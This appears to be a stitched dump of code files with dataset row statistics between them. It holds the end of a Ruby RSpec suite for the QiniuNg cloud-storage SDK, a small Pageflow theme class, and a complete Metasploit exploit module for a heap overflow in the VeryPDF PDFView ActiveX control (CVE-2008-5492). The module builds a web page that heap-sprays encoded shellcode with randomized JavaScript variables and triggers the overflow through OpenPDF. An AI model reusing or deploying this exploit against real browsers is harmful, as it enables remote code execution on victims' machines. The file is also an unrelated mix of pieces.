expect(e.file_size).to eq 1024
expect(e).to be_normal_storage
expect(e).to be_enabled
count += 1
end
expect(count).to eq 1000
end
end
describe 'Fetch' do
it 'should fetch the entry from the url' do
src_entry = client.bucket('z1-bucket').entry('1m')
src_url = src_entry.download_url
expect(head(src_url)).to be_success
entry = bucket.entry("16k-#{Time.now.usec}")
begin
dest_entry = entry.fetch_from(src_url)
expect(dest_entry.file_size).to eq(1 << 20)
expect(head(dest_entry.download_url.refresh)).to be_success
ensure
entry.try_delete
end
end
it 'should fetch the entry from the url async' do
src_bucket = client.bucket('z1-bucket')
src_entry = src_bucket.entry('1m')
src_url = src_entry.download_url
expect(head(src_url)).to be_success
entry = bucket.entry("16k-#{Time.now.usec}")
begin
job = entry.fetch_from(src_url, async: true)
expect(job.id).not_to be_empty
expect(job.queue_length).to be_a(Integer)
job = bucket.query_async_fetch_result(job.id)
if job.queue_length < 50
expect { job }.to eventually be_done
expect(head(entry.download_url.refresh)).to be_success
end
ensure
entry.try_delete
end
end
end
end
describe QiniuNg::Storage::BatchOperations do
client = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
end
it 'should get all stats of a bucket' do
files = %w[4k 16k 1m].freeze
results = client.bucket('z0-bucket').batch { |b| files.each { |file| b.stat(file) } }
expect(results.select(&:success?).size).to eq files.size
expect(results.reject(&:success?).size).to be_zero
expect(results.map { |result| result.response.file_size }).to eq(
[4 * (1 << 10), 16 * (1 << 10), 1 * (1 << 20)]
)
end
it 'could get all stats of files from multiple buckets' do
files = %w[4k 16k 1m].freeze
bucket = client.bucket('z0-bucket')
results = client.batch(zone: bucket.zone) { |b| files.each { |file| b.stat(file, bucket: bucket) } }
expect(results.select(&:success?).size).to eq files.size
expect(results.reject(&:success?).size).to be_zero
expect(results.map { |result| result.response.file_size }).to eq(
[4 * (1 << 10), 16 * (1 << 10), 1 * (1 << 20)]
)
end
it 'should raise error if partial operations are failed' do
files = %w[4k 16k 1m 5m].freeze
bucket = client.bucket('z0-bucket')
bucket.batch { |b| files.each { |file| b.stat(file) } }
client.batch(zone: bucket.zone) { |b| files.each { |file| b.stat(file, bucket: bucket) } }
expect do
bucket.batch! { |b| files.each { |file| b.stat(file) } }
end.to raise_error(QiniuNg::HTTP::PartialOK)
expect do
client.batch!(zone: bucket.zone) { |b| files.each { |file| b.stat(file, bucket: bucket) } }
end.to raise_error(QiniuNg::HTTP::PartialOK)
end
it 'should do batch operations more than limits' do
size = (QiniuNg::Config.batch_max_size * 2.5).to_i
results = client.bucket('z0-bucket').batch { |b| size.times { b.stat('16k') } }
expect(results.size).to eq size
end
end
describe QiniuNg::Storage::PublicURL do
entry = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
entry = client.bucket('z0-bucket').entry('64m')
end
it 'should access entry by public url' do
expect(head(entry.public_url)).to be_success
end
it 'should set fop' do
expect(head(entry.public_url.set(fop: 'qhash/md5'))).to be_success
end
it 'should set style' do
expect(entry.public_url.set(style: 'small')).to be_include('/64m-small')
end
it 'should set filename' do
expect(entry.public_url.set(filename: 'test.bin')).to be_include('attname=test.bin')
end
it 'should download file' do
create_temp_file(kilo_size: 0) do |file|
entry.public_url.download_to(file.path, progress: print_progress)
expect(File.size(file.path)).to eq(1 << 26)
end
end
it 'should use #download_url to generate public_url' do
expect(entry.download_url).to be_kind_of(QiniuNg::Storage::PublicURL)
end
it 'should use #download_url with lifetime to generate private_url' do
expect(entry.download_url(lifetime: { day: 1 })).to be_kind_of(QiniuNg::Storage::PrivateURL)
end
it 'should use #download_url with deadline to generate private_url' do
expect(entry.download_url(deadline: Time.now)).to be_kind_of(QiniuNg::Storage::PrivateURL)
end
end
describe QiniuNg::Storage::PrivateURL do
entry = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
entry = client.bucket('z1-bucket').entry('64m')
end
it 'should not access entry by public url' do
expect(head(entry.public_url).status).to eq 401
end
it 'should access entry by private url' do
expect(head(entry.public_url.private)).to be_success
end
it 'should download file' do
create_temp_file(kilo_size: 0) do |file|
entry.public_url.private.download_to(file.path, progress: print_progress)
expect(File.size(file.path)).to eq(1 << 26)
end
end
it 'should use #download_url to generate private_url' do
expect(entry.download_url).to be_kind_of(QiniuNg::Storage::PrivateURL)
end
end
describe QiniuNg::Storage::TimestampAntiLeechURL do
entry = nil
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
entry = client.bucket('z2-bucket', domains: 'z2-bucket.kodo-test.qiniu-solutions.com').entry('64m')
end
it 'should not access entry by public url' do
expect(head(entry.public_url).status).to eq 403
end
it 'should not access entry by private url' do
expect(head(entry.public_url.private).status).to eq 403
end
it 'should access entry by timestamp anti leech url' do
expect(head(entry.public_url.timestamp_anti_leech(encrypt_key: z2_encrypt_key))).to be_success
end
it 'should download file' do
create_temp_file(kilo_size: 0) do |file|
entry.public_url.timestamp_anti_leech(encrypt_key: z2_encrypt_key).download_to(file.path, progress: print_progress)
expect(File.size(file.path)).to eq(1 << 26)
end
end
it 'should use #download_url with encrypt_key to generate timestamp_anti_leech_url' do
expect(entry.download_url(encrypt_key: z2_encrypt_key)).to be_kind_of(QiniuNg::Storage::TimestampAntiLeechURL)
end
end
describe QiniuNg::Storage::DownloadManager do
entry = nil
after :each do
QiniuNg::Config.default_domains_manager.unfreeze_all!
end
describe do
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.bucket('z0-bucket', zone: QiniuNg::Zone.huadong)
entry = bucket.entry('64m')
end
it 'should get data by multiple read' do
reader = entry.download_url.reader
create_temp_file(kilo_size: 0) do |file|
(64 / 4).times do
expect(file.write(reader.read(1 << 22))).to eq(1 << 22)
end
file.flush
expect(File.size(file.path)).to eq entry.stat.file_size
expect(QiniuNg::Utils::Etag.from_file_path(file.path)).to eq entry.stat.etag
end
end
end
describe do
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.bucket('z0-bucket', zone: QiniuNg::Zone.huadong, domains: %w[www.test1.com www.test2.com])
bucket.style_separator # Just cache bucket.info
entry = bucket.entry('1m')
WebMock.enable!
end
after :all do
WebMock.disable!
end
after :each do
WebMock.reset!
end
it 'should validate etag even for reader' do
file = File.open(create_temp_file(kilo_size: 1024), 'r')
begin
stub_request(:get, 'http://www.test2.com/1m')
.to_return(headers: { Etag: '"AAAAA"', 'X-Reqid': 'abc', 'Content-Length': 1 << 20 }, body: file)
reader = entry.download_url.reader
create_temp_file(kilo_size: 0) do |f|
expect(f.write(reader.read(1 << 19))).to eq(1 << 19)
end
expect { reader.read(1 << 19) }.to raise_error(QiniuNg::Storage::DownloadManager::ChecksumError)
ensure
reader&.close
file.close
FileUtils.rm_f(file)
end
end
it 'should try multiple times and try another domains' do
stub_request(:get, 'http://www.test2.com/1m').to_timeout
stub_request(:get, 'http://www.test1.com/1m').to_timeout
expect do
entry.download_url.download_to('/dev/null', max_retry: 5, progress: print_progress)
end.to raise_error(Down::TimeoutError)
assert_requested(:get, 'http://www.test2.com/1m', times: 6)
assert_requested(:get, 'http://www.test1.com/1m', times: 6)
end
end
describe do
before :all do
client = QiniuNg.new_client(access_key: access_key, secret_key: secret_key)
bucket = client.bucket('z0-bucket', zone: QiniuNg::Zone.huadong, domains: %w[localhost:8089 localhost:8088])
entry = bucket.entry('1m')
end
it 'should download the file' do
pid = start_server(port: 8088, size: 1 << 32, etag: 'ABCDEFG')
thread = Thread.start do
sleep(1)
Process.kill('INT', pid)
old_pid = pid
sleep(1)
pid = start_server(port: 8088, size: 1 << 32, etag: 'ABCDEFG')
Process.kill('KILL', old_pid)
sleep(1)
Process.kill('INT', pid)
old_pid = pid
sleep(1)
pid = start_server(port: 8089, size: 1 << 32, etag: 'ABCDEFG')
Process.kill('KILL', old_pid)
sleep(1)
Process.kill('INT', pid)
old_pid = pid
sleep(1)
pid = start_server(port: 8089, size: 1 << 32, etag: 'AAAAAAA')
Process.kill('KILL', old_pid)
end
begin
expect do
entry.download_url.download_to('/dev/null', max_retry: 1, progress: print_progress)
end.to raise_error(QiniuNg::Storage::DownloadManager::EtagChanged)
ensure
thread.kill if thread.alive?
Process.kill('KILL', pid)
end
end
end
end
describe QiniuNg::Storage::UploadToken do
it 'should create upload_token from upload_policy, or from token' do
dummy_access_key = 'abcdefghklmnopq'
dummy_secret_key = '1234567890'
dummy_auth = QiniuNg::Auth.new(access_key: dummy_access_key, secret_key: dummy_secret_key)
policy = QiniuNg::Storage::Model::UploadPolicy.new(bucket: 'test', key: 'filename')
policy.set_token_lifetime(seconds: 30).detect_mime!.infrequent_storage!.limit_content_type('video/*')
upload_token = QiniuNg::Storage::UploadToken.from_policy(policy, dummy_auth)
expect(upload_token.policy).to eq policy
expect(upload_token.token).to be_a String
upload_token2 = QiniuNg::Storage::UploadToken.from_token(upload_token.token)
expect(upload_token2.token).to eq upload_token.token
expect(upload_token2.policy).to eq policy
end
end
end
| 36.668702 | 123 | 0.646015 |
b961f720c37522e89e15f843d42c63c1065c3a12 | 779 | module Pageflow
class Theme
attr_reader :name, :directory_name, :options
def initialize(name, options = {})
@name = name.to_s
@directory_name = name.to_s
@options = options
end
def stylesheet_path
"pageflow/themes/#{name}.css"
end
def has_home_button?
!@options[:no_home_button]
end
def has_scroll_back_indicator?
!!@options[:scroll_back_indicator]
end
def supports_scroll_indicator_modes?
!!@options[:scroll_indicator_modes]
end
def supports_emphasized_pages?
!!@options[:emphasized_pages]
end
def page_change_by_scrolling?
!@options[:no_page_change_by_scrolling]
end
def hide_text_on_swipe?
!@options[:no_hide_text_on_swipe]
end
end
end
| 19.475 | 48 | 0.667522 |
ff23570b782aae1ac187869cb16d3248ffe23dd0 | 3,583 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',
'Description' => %q{
The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow
because it fails to properly bounds-check user-supplied data before copying
it into an insufficiently sized memory buffer. An attacker can exploit this issue
to execute arbitrary code within the context of the affected application.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', 'dean <dean[at]zerodaysolutions.com>' ],
'References' =>
[
[ 'CVE', '2008-5492'],
[ 'OSVDB', '49871'],
[ 'BID','32313' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]
],
'DisclosureDate' => '2008-06-16',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops.
nops = Rex::Text.to_unescape(make_nops(4))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = "";
for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
#{vname}.OpenPDF(#{rand8}, 1, 1);
</script>
</html>
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
| 32.87156 | 100 | 0.560145 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.